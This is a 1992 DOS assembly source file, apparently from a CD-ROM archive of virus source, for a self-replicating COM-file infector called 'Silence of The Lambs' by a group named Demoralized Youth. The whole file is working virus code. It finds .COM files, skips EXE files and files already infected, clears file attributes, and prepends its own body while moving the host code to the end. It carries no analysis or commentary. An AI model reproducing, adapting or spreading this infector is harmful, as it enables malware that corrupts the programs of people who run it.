home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / TSOTL-A.ASM < prev    next >
Assembly Source File  |  1992-02-28  |  3KB  |  166 lines

  1. ;                            Silence of The Lambs v1.0
  2. ;                (c) The Chronomancer of Demoralized Youth 1992
  3. ;
  4. ;             First version : Thursday 27th of Febuary - 01:50 CET.
  5. ;
  6.  
  7. org     100h
  8. jmp short dummy1
  9. db      'DY'
  10. dummy1:
  11.         mov     cx,(100h-80h)/2                 ;save command line on stack
  12.         mov     si,80h
  13.         save_parm:
  14.         push    [si]
  15.         inc     si
  16.         inc     si
  17.         loop    save_parm
  18.  
  19.         mov     ah,4Eh
  20.         xor     cx,cx
  21.         mov     dx,offset file
  22.         int     21h
  23.         jc      nomore
  24. again:
  25.         cmp     byte [9Eh],0FAh
  26.         jae     more
  27.         call    infect
  28. more:
  29.         mov     ah,4Fh
  30.         int     21h
  31.         jnc     again
  32. nomore:
  33.         mov     cx,(100h-80h)/2
  34.         mov     si,0FEh
  35. rest_parm:
  36.         pop     [si]
  37.         dec     si
  38.         dec     si
  39.         loop    rest_parm
  40.  
  41.         mov     bx,0000h
  42. eof     equ $-2
  43.         jmp     bx
  44.  
  45. file    db '*.COM',0
  46.  
  47. infect:
  48.         mov     bx,cs
  49.         mov     si,cs
  50.         dec     si
  51.         mov     ds,si
  52.         cmp     byte[0],'Z'
  53.         je      ok_mark
  54.         jmp     back2
  55. ok_mark:
  56.         sub     word [0003h],pgfsize
  57.         jnc     ok_mark2
  58.         jmp     back
  59. ok_mark2:
  60.         mov     ax,[0012h]
  61.         sub     ax,pgfsize
  62.         push    ax
  63.  
  64.         mov     ds,bx
  65.         mov     ax,4301h
  66.         xor     cx,cx
  67.         mov     dx,80h+1Eh
  68.         int     21h
  69.  
  70.         mov     ax,3D02h
  71.         int     21h
  72.         xchg    bx,ax
  73.  
  74.         pop     ds
  75.         push    ds
  76.         mov     cx,total
  77.         xor     dx,dx
  78.         mov     ah,3Fh
  79.         int     21h
  80.  
  81.         cmp     byte [0],'M'   ;exe ?
  82.         je      close
  83.         cmp     byte [0],'Z'   ;exe ?
  84.         je      close
  85.         cmp     word [2],'YD'   ;allready infected?
  86.         je      close
  87.  
  88.         xor     cx,cx
  89.         xor     dx,dx
  90.         push    cx
  91.         push    dx
  92.         mov     ax,4202h
  93.         int     21h
  94.  
  95.         add     ax,total+100h
  96.         mov     cs:word [00FEh],ax
  97.  
  98.         mov     ah,40h
  99.         mov     cx,total
  100.         xor     dx,dx
  101.         int     21h
  102.  
  103.         push    cs
  104.         pop     ds
  105.  
  106.         mov     ah,40h
  107.         mov     cx,applen
  108.         mov     dx,offset append
  109.         int     21h
  110.  
  111.         mov     ax,4200h
  112.         pop     dx
  113.         pop     cx
  114.         int     21h
  115.  
  116.         push    [eof]
  117.         mov     ax,word [00FEh]
  118.         mov     [eof],ax
  119.  
  120.         mov     ah,40h
  121.         mov     dx,100h
  122.         mov     cx,total
  123.         int     21h
  124.  
  125.         pop     [eof]
  126. close:
  127.         mov     ah,3Eh
  128.         int     21h
  129. back:
  130.         pop     ds              ;(mov ds,si)
  131.         add     word [0003h],pgfsize
  132. back2:
  133.         push    cs
  134.         pop     ds
  135.         ret
  136.  
  137. append:
  138. call    $+3
  139. pop     si
  140. sub     si,3+total
  141. mov     di,100h
  142. mov     cx,total
  143. rep     movsb
  144. mov     ax,100h
  145. push    ax
  146. ret
  147. applen  equ $-offset append
  148.  
  149. total   equ $-100h                      ;size
  150. pgfsize         equ ($-100h)/16+2       ;paragraphs needed
  151.  
  152.  
  153.  
  154.  
  155.  
  156.  
  157.  
  158.  
  159.  
  160.  
  161.  
  162.  
  163.  
  164.  
  165.  
  166.